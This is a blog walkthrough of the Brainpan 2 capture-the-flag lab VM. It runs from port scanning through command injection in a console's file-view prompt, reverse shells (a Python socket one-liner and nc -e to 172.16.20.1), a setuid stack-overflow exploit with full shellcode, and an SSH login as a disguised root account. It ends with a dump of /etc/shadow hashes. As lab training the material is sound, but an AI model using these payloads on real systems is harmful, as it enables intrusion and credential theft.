📅 This article precedes the reboot and might be outdated.

Continuing on hacking challenges, this time with Brainpan: 2.

# Table of Contents

# Host and service discovery

⚠️ Usual words of recommendation. Think very carefully before letting a vulnerable VM on your network.

We begin with finding the VM’s IP address. It comes with DHCP enabled, so if configuring the hypervisor networking emulation in bridge mode we can find the vulnerable machine on the local network.

nmap lets us discover all hosts on the network:

» sudo nmap -p 0 172.16.20.0/24

With the IP address (172.16.20.129 in this case), it’s time to discover the hosted services.

» sudo nmap -sSV -A -T4 172.16.20.129 -p -

Starting Nmap 7.00SVN ( https://nmap.org ) at 2015-11-20 22:31 CET
Nmap scan report for 172.16.20.129
Host is up (0.00031s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.00SVN%I=7%D=11/20%Time=564F9154%P=x86_64-apple-darwin1
SF:5.0.0%r(NULL,296,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x2
SF:0_\|_\|_\|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x2
SF:0\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x2
SF:0\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x2
SF:0\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x2
SF:0\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\
SF:x20\x20_\|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x2
SF:0_\|\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x2
SF:0_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\
SF:|_\|\x20\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\
SF:|\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20
SF:\x20\x20\x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20_\|\n\n\[______________________\x20WELCOME\x20TO\x20BR
SF:AINPAN\x202\.0________________________\]\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20LOGIN\x20AS\x20GUEST\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\n\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 00:0C:29:B1:67:D7 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.31 ms 172.16.20.129

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 185.63 seconds

nmap doesn’t recognize the services behind ports 9999 and 10000. We can inspect them through ncat.

Port 9999 hosts a console panel. We’ll come back on it later.

» ncat 172.16.20.129 9999
_|                            _|
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|
                                            _|

[______________________ WELCOME TO BRAINPAN 2.0________________________]
                             LOGIN AS GUEST

                          >>

Port 10000 hosts a webserver.

» ncat 172.16.20.129 10000
GET /

<html>
<head>
<title>Hacking Trends</title>
</head>
<body>
<center>
<!-- infographic taken from http://raconteur.net/infographics/hacking-trends -->
<img src="infographic.jpg"/>
</center>
</body>
</html>

This sounds familiar… to Brainpan 1.

# A useless webserver

A nikto scan against the webserver reveals a bin folder.

» nikto -h 172.16.20.129:10000
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          172.16.20.129
+ Target Hostname:    172.16.20.129
+ Target Port:        10000
+ Start Time:         2015-11-20 17:40:23 (GMT1)
---------------------------------------------------------------------------
+ Server: SimpleHTTP/0.6 Python/2.7.3
+ The anti-clickjacking X-Frame-Options header is not present.
+ SimpleHTTP/0.6 appears to be outdated (current is at least 1.2)
+ OSVDB-3092: /bin/: This might be interesting...
+ OSVDB-3092: /bin/: This might be interesting... possibly a system shell found.
+ 6545 items checked: 25 error(s) and 4 item(s) reported on remote host
+ End Time:           2015-11-20 17:40:35 (GMT1) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
» ncat 172.16.20.129 10000
GET /bin/

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /bin/</title>
<body>
<h2>Directory listing for /bin/</h2>
<hr>
<ul>
<li><a href="brainpan.exe">brainpan.exe</a>
</ul>
<hr>
</body>
</html>

Again, a reference to the Brainpan 1 challenge. A quick file inspection shows the author trolling us.

» curl -O http://172.16.20.129:10000/bin/brainpan.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 18764  100 18764    0     0  4541k      0 --:--:-- --:--:-- --:--:-- 6108k

» file brainpan.exe
brainpan.exe: JPEG image data, JFIF standard 1.01, comment: "CREATOR: gd-jpeg v1.0 (using IJ"

Brainpan: SORRY NOTHING Who knew one could find Mario in a .exe?

A few more web discovery tools (dirb and wfuzz) gave no results. Time to move on.

# The Brainpan console

Back to the console prompt. It’s asking for a password in order to login.

After trying a few obvious options, I was about to write an automated bruteforcer when I noticed the LOGIN AS GUEST text in the console banner. And GUEST was, in fact, the key.

      » ncat 172.16.20.129 9999
_|                            _|
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|
                                            _|

[______________________ WELCOME TO BRAINPAN 2.0________________________]
                             LOGIN AS GUEST

                          >> GUEST
                          ACCESS GRANTED


                             *  *  *  *
    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.
    TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.
                             *  *  *  *


                          >> TELL ME MORE
    FILES    HELP    VIEW       CREATE
    USERS    MSG     SYSTEM     BYE

                          >>

So, we now have access to a simple management system.

                          >> FILES
total 44
-rwxr-xr-x 1 root   root   18424 Nov  4  2013 brainpan.exe
-rw-r--r-- 1 root   root    1109 Nov  5  2013 brainpan.txt
-rw-r--r-- 1 root   root     683 Nov  4  2013 notes.txt
-rw-r--r-- 1 anansi anansi    12 Nov  5  2013 test-1
-rwxrwxrwx 1 anansi anansi    19 Nov  5  2013 test-2

                          >> VIEW
    ENTER FILE TO DOWNLOAD: notes.txt
TODO LIST
---------
reynard:
 - Completed manpage. Read with groff or man.
 - Renamed to brainpan.txt instead of brainpan.7.
 - Fixed call to read manpage: popen("man ./brainpan.txt", "r");

puck:
Easiest way to display file contents is to just use popen(). Eg:
popen("/bin/ls", "r");
popen("/bin/man ./brainpan.7", "r");
popen("/usr/bin/top", "r");
etc...

anansi:
 - Fixed a reported buffer overflow in login in version 1.0.
 - Discovered buffer overflow in the command prompt, fixed as of version 2.0

puck: look into loading a configuration file instead of hardcoding settings
in the server, version 1.8
anansi: dropped configuration file - leave it hardcoded, version 1.9

So, this is using popen("cat <filename>", "r") to display files. Can we trick popen into executing arbitrary commands? Yes, we can!

                          >> VIEW
    ENTER FILE TO DOWNLOAD: aldur; id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)

Great! Let’s spawn a reverse shell.

                          >> VIEW
    ENTER FILE TO DOWNLOAD: aldur;  python -c 'import socket as so,subprocess as su,os;s=so.socket(so.AF_INET,so.SOCK_STREAM);s.connect(("172.16.20.1",9093));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=su.call(["bash","-i"])'

I had to use a relative path to spawn bash, because slashes would crash the console.

Meanwhile, on a different console:

» ncat -lvp 9093
Ncat: Version 6.49SVN ( https://nmap.org/ncat )
Ncat: Listening on :::9093
Ncat: Listening on 0.0.0.0:9093
Ncat: Connection from 172.16.20.129.
Ncat: Connection from 172.16.20.129:57839.
bash: no job control in this shell
anansi@brainpan2:/opt/brainpan$ python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import pty; pty.spawn("/bin/sh")'
$

As usual, we spawn a tty just to be sure. Then try escalating privileges.

# Privilege escalation

First things first: search for setuid executables.

$ find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
/usr/sbin/exim4
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/umount
/bin/ping
/bin/mount
/bin/ping6
/bin/su
/home/reynard/msg_root
$

The last one looks interesting.

$ /home/reynard/msg_root
/home/reynard/msg_root
usage: msg_root username message
$ cd /home/reynard/
cd /home/reynard/
$ ls
ls
msg_root  readme.txt  startweb.sh  web
$ cat readme.txt
cat readme.txt
msg_root is a quick way to send a message to the root user.
Messages are written to /tmp/msg.txt

usage:
msg_root "username" "this message is for root"
$

It’s a setuid executable and this is Brainpan… so it’s time for a buffer overflow attack. I spawned a Python HTTP server to download the executable and analyze it off-line.

$ python -m SimpleHTTPServer 10001 &
python -m SimpleHTTPServer 10001 &
$ Serving HTTP on 0.0.0.0 port 10001 ...

Again, on another console:

» curl -O http://172.16.20.129:10001/msg_root
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  8999  100  8999    0     0  3719k      0 --:--:-- --:--:-- --:--:-- 4394k
» file msg_root
msg_root: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, not stripped

We can use retdec to decompile the executable. Look at the following function:

// From module:   /root/Desktop/brainpan2/msg_root.c
// Address range: 0x80486a1 - 0x804873a
// Line range:    13 - 28
void get_name(char * u, char * m) {
    void (*v1)(char *, char *);
    void (*fp)(char *, char *) = v1; // bp-12
    int32_t str;
    if (strlen(u) > 17) {
        // 0x80486d2
        strncpy((char *)&str, u, 18);
        // branch -> 0x80486ec
    } else {
        // 0x80486be
        strcpy((char *)&str, u);
        // branch -> 0x80486ec
    }
    // 0x80486ec
    fp = (void (*)(char *, char *))malloc(2000);
    strncpy((char *)fp, m, strlen(m));
    save_msg((char *)fp, (char *)fp);
    free((char *)fp);
}

All the work on the message is on the heap, so no overflow there. What about the username? Better! If we provide something longer than 17 characters, it ends up in the buffer without the termination character \x00. Let’s see if we can use this to overflow the buffer and overwrite the EIP register.

I generated a characteristic pattern string by using sploit-tools (inspired by their counterpart in the Metasploit framework, but more portable).

» python pattern.py create 20
Aa0Aa1Aa2Aa3Aa4Aa5Aa

Then, back to the machine, I attached the msg_root executable to gdb and tried the overflow.

$ gdb msg_root
gdb msg_root
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/reynard/msg_root...done.
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa foo
run Aa0Aa1Aa2Aa3Aa4Aa5Aa foo
Starting program: /home/reynard/msg_root Aa0Aa1Aa2Aa3Aa4Aa5Aa foo

Program received signal SIGSEGV, Segmentation fault.
0x35614134 in ?? ()
(gdb) info reg
info reg
eax            0x35614134 895566132
ecx            0x6f 111
edx            0xbfffff36 -1073742026
ebx            0xb7fd6ff4 -1208127500
esp            0xbffffd24 0xbffffd24
ebp            0xbffffd48 0xbffffd48
esi            0x0  0
edi            0x0  0
eip            0x35614134 0x35614134
eflags         0x210286 [ PF SF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

Bingo, it crashes! Let’s see the offset:

» python pattern.py offset 0x35614134
hex pattern decoded as: 4Aa5
14

So, we have an offset of 14 bytes, and we can then overwrite the content of the EIP register. Now we need a shellcode. This time used one of my favorite overflow techniques. Since we control the executable’s environment, we can place the shellcode in an environment variable and then overwrite the buffer in order to run it. Smashing The Stack For Fun and Profit teaches us, indeed, that environment variables live on the bottom of the stack and have an almost always fixed offset from the beginning.

Let’s craft the payload. I borrowed the shellcode from the Smashing the Stack and added 32 NOPs as a prefix. Then, I put everything in the PAYLOAD variable.

$ export PAYLOAD=$(python -c 'print(b"\x90" * 32 + b"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")')
export PAYLOAD=$(python -c 'print(b"\x90" * 32 + b"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")')
$ echo -n $PAYLOAD | wc
echo -n$PAYLOAD | wc
      0       3      78

Let’s find where this lives on the stack.

$ gdb msg_root
gdb msg_root
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/reynard/msg_root...done.
(gdb) b main
b main
Breakpoint 1 at 0x8048741: file msg_root.c, line 31.
(gdb) show env
show env
SHLVL=2
HOME=/home/anansi
OLDPWD=/
PAYLOAD=���������������������������������^�1��F�F
                                                 �
                                                  ���V
                                                       1ۉ�@̀�����/bin/sh
LOGNAME=anansi
_=PAYLOAD=���������������������������������^�1��F�F
                                                   �
                                                    ���V
                                                         1ۉ�@̀�����/bin/sh
PATH=/bin:.:/usr/bin:/sbin
LANG=en_US.UTF-8
LS_COLORS=
SHELL=/bin/sh
PWD=/home/reynard
LINES=24
COLUMNS=80
(gdb) run
run
Starting program: /home/reynard/msg_root

Breakpoint 1, main (argc=1, argv=0xbffffd84) at msg_root.c:31
31  msg_root.c: No such file or directory.
(gdb) x/s *((char **)environ + 5)
x/s *((char **)environ + 5)
0xbfffff22:  "_=PAYLOAD=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\353\037^\211v\b1\300\210F\a\211F\f\260\v\211\363\215N\b\215V\f̀1ۉ\330@̀\350\334\377\377\377/bin/sh"
(gdb) x/s *((char **)environ + 5) + strlen("_=PAYLOAD=")
x/s *((char **)environ + 5) + strlen("_=PAYLOAD=")
0xbfffff2c:  "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\353\037^\211v\b1\300\210F\a\211F\f\260\v\211\363\215N\b\215V\f̀1ۉ\330@̀\350\334\377\377\377/bin/sh"

Perfect, 0xbfffff2c is the address we needed. We can now try the buffer overflow.

We’ll use 14 bytes of garbage and then the address of the variable, reversed because of the endianess of the processor.

(gdb) run Aa0Aa1Aa2Aa3Aa$(python -c "print('\x2c\xff\xff\xbf')") bar
run Aa0Aa1Aa2Aa3Aa$(python -c "print('\x2c\xff\xff\xbf')") bar
The program being debugged has been started already.
Start it from the beginning? (y or n) y
y

Starting program: /home/reynard/msg_root Aa0Aa1Aa2Aa3Aa$(python -c "print('\x2c\xff\xff\xbf')") bar

Breakpoint 1, main (argc=3, argv=0xbffffd54) at msg_root.c:31
31  in msg_root.c
(gdb) c
c
Continuing.
process 2672 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "main" not defined.
$

Now we only need to try it in the original environment.

$ exit
exit
[Inferior 1 (process 2672) exited with code 0177]
(gdb) quit
quit
$ /home/reynard/msg_root Aa0Aa1Aa2Aa3Aa$(python -c "print('\x2c\xff\xff\xbf')") bar
/home/reynard/msg_root Aa0Aa1Aa2Aa3Aa$(python -c "print('\x2c\xff\xff\xbf')") bar
$ id
id
uid=1000(anansi) gid=1000(anansi) euid=104(root) groups=106(root),50(staff),1000(anansi)
$

Great, it still works and we’re root! Let’s try capturing the flag.

$ cd /root
cd /root
$ ls
ls
flag.txt  whatif.txt
$ cat flag.txt
cat flag.txt
cat: flag.txt: Permission denied
$ cat whatif.txt
cat whatif.txt

       WHAT IF I TOLD YOU
              ___
            /     \
           | ______\
          (, \_/ \_/
           |   ._. |
           \   --- /
           /`-.__.'
      .---'`-.___|\___
     /                `.

       YOU ARE NOT ROOT?

$

Yes, there is something really strange going on here. The integer representing the euid is indeed 104, and not 0 as it should be.

A peek at the /etc/passwd file solves the riddle.

$ cat /etc/passwd
cat /etc/passwd
root:x:104:106:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
root :x:0:0:root:/var/root:/bin/bash
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
anansi:x:1000:1000:anansi,,,:/home/anansi:/bin/bash
puck:x:1001:1001:puck,,,:/home/puck:/bin/bash
reynard:x:1002:1002:reynard,,,:/home/reynard:/bin/bash

As you can see there are two similar accounts:

  1. root
  2. root (ending with a space, the real root)

# It’s not over yet

Let’s start again:

$ find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
/opt/old/brainpan-1.8/brainpan-1.8.exe
/usr/sbin/exim4
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/umount
/bin/ping
/bin/mount
/bin/ping6
/bin/su
/home/reynard/msg_root

The first file looks interesting.

$ cd /opt/old/brainpan-1.8
cd /opt/old/brainpan-1.8
$ ls
ls
brainpan-1.8.exe  brainpan.7  brainpan.cfg
$ cat brainpan.cfg
cat brainpan.cfg
port=9333
ipaddr=127.0.0.1
$ file brainpan-1.8.exe
file brainpan-1.8.exe
brainpan-1.8.exe: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0xcce373746445bee7531358c8b349018de08ec1f3, not stripped

We can use the previous trick to download the file.

$ python -m SimpleHTTPServer 10002 &
python -m SimpleHTTPServer 10002
$ Serving HTTP on 0.0.0.0 port 10002 ...

And then, on the local machine:

» curl -O http://172.16.20.129:10002/brainpan-1.8.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 17734  100 17734    0     0  6525k      0 --:--:-- --:--:-- --:--:-- 8659k

A quick analysis shows that this is similar to the one we exploited previously. What if we can use the same trick? Let’s try. First we edit the configuration file in order to bind on all interfaces, and then we launch the server in background.

$ cat brainpan.cfg
cat brainpan.cfg
port=9333
ipaddr=127.0.0.1
$ sed -i "s/127.0.0.1/0.0.0.0/g" brainpan.cfg
$ ./brainpan-1.8.exe &
./brainpan-1.8.exe &
$ port = 9333
ipaddr = 0.0.0.0
+ bind done
+ waiting for connections...
+ connection accepted

Then, on another console:

      » ncat 172.16.20.129 9333                                                                           [15:33:45]
_|                            _|
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|
                                            _|

[______________________ WELCOME TO BRAINPAN 1.8________________________]
                             LOGIN AS GUEST

                          >> GUEST
                          ACCESS GRANTED


                             *  *  *  *
    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.
    TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.
                             *  *  *  *


                          >> VIEW
    ENTER FILE TO DOWNLOAD: a; nc -e /bin/dash 172.16.20.1 9095

And finally, on a third console:

» ncat -lvp 9095
Ncat: Listening on :::9095
Ncat: Listening on 0.0.0.0:9095
Ncat: Connection from 172.16.20.129.
Ncat: Connection from 172.16.20.129:38123.
python -c 'import pty; pty.spawn("/bin/sh")'
$ id
id
uid=1001(puck) gid=1000(anansi) groups=1001(puck),50(staff),1000(anansi)

Perfect, so we’re now logged in as puck. As usual, let’s start exploring.

$ cd /home/puck
cd /home/puck
$ ls -la
ls -la
total 28
drwx------ 4 puck  puck  4096 Nov  5  2013 .
drwxr-xr-x 5 root  root  4096 Nov  4  2013 ..
drwxr-xr-x 3 puck  puck  4096 Nov  5  2013 .backup
-rw------- 1 puck  puck     0 Nov  5  2013 .bash_history
-rw-r--r-- 1 puck  puck   220 Nov  4  2013 .bash_logout
-rw-r--r-- 1 puck  puck  3392 Nov  4  2013 .bashrc
-rw-r--r-- 1 puck  puck   675 Nov  4  2013 .profile
drwx------ 2 puck  puck  4096 Nov  5  2013 .ssh
$ cd .backup
cd .backup
$ ls -la
ls -la
total 28
drwxr-xr-x 3 puck puck 4096 Nov  5  2013 .
drwx------ 4 puck puck 4096 Nov  5  2013 ..
-rw------- 1 puck puck  395 Nov  5  2013 .bash_history
-rw-r--r-- 1 puck puck  220 Nov  4  2013 .bash_logout
-rw-r--r-- 1 puck puck 3392 Nov  4  2013 .bashrc
-rw-r--r-- 1 puck puck  675 Nov  4  2013 .profile
drwx------ 2 puck puck 4096 Nov  4  2013 .ssh

Let’s peek inside the .bash_history file.

$ cat .bash_history
cat .bash_history
# ...
ssh -l "root " brainpan2
# ...
mkdir .backup
mv .ssh .bash* .backup
cd .backup/
$

We can see that this user can log in as root (with a space) through SSH. From the old root console, let’s check the SSH config.

$ cat /etc/ssh/sshd_config
cat sshd_config
# Package generated configuration file
# See the sshd_config(5) manpage for details

# What ports, IPs and protocols we listen for
Port 2222
# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress ::
#ListenAddress 0.0.0.0
ListenAddress 127.0.1.1
Protocol 2
# ...

Is the service running?

$ service ssh status
service ssh status
sshd is running.

Perfect, back to puck’s console.

$ ssh -l "root " brainpan2 -p 2222 -i /home/puck/.backup/.ssh/id_rsa
ssh -l "root " brainpan2 -p 2222 -i /home/puck/.backup/.ssh/id_rsa
Linux brainpan2 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Nov  7 11:00:06 2013

root @brainpan2:~#

Again, my challenge was to get the /etc/shadow file.

$ cat /etc/shadow
cat /etc/shadow
root :$6$D9VnvbNB$fj0rwgveUnYfVgMezCv1OWZg7MlEJFdmjjCSSdmSJ8UtOD8vSQiWnCjTtPK9J956Ll5YMwAU5yiYVErApMSUu1:16013:0:99999:7:::
daemon:*:16013:0:99999:7:::
bin:*:16013:0:99999:7:::
sys:*:16013:0:99999:7:::
sync:*:16013:0:99999:7:::
games:*:16013:0:99999:7:::
man:*:16013:0:99999:7:::
lp:*:16013:0:99999:7:::
mail:*:16013:0:99999:7:::
news:*:16013:0:99999:7:::
uucp:*:16013:0:99999:7:::
root:*:16013:0:99999:7:::
proxy:*:16013:0:99999:7:::
www-data:*:16013:0:99999:7:::
backup:*:16013:0:99999:7:::
list:*:16013:0:99999:7:::
irc:*:16013:0:99999:7:::
gnats:*:16013:0:99999:7:::
nobody:*:16013:0:99999:7:::
libuuid:!:16013:0:99999:7:::
Debian-exim:!:16013:0:99999:7:::
statd:*:16013:0:99999:7:::
sshd:*:16013:0:99999:7:::
anansi:$6$pUKVkq5n$y9uizRLIziMu7qQtVhcctuSTXgimRelQ8bMSY3Anu5b/vIa1criuKauGEwZiXJujq9PIliI2AD31RW7WXsw9w1:16013:0:99999:7:::
puck:$6$lihKYSRT$DxZVlB/o1MRsumsls438zlB2wGJXdBk6wtzU8l2i/txd2o1xzpWeEjqoQCX/JRc3OIBMgfj7sG9O2hsh2YS4i/:16013:0:99999:7:::
reynard:$6$ldLpysqz$8SaEWO5Cr.rtq9BUC/34dpriABZEshmGaqK/UrlP.fFV2DrZOgjES6kFRbtOfuhLvu16nAca4jtSYbMq/wyiE1:16013:0:99999:7:::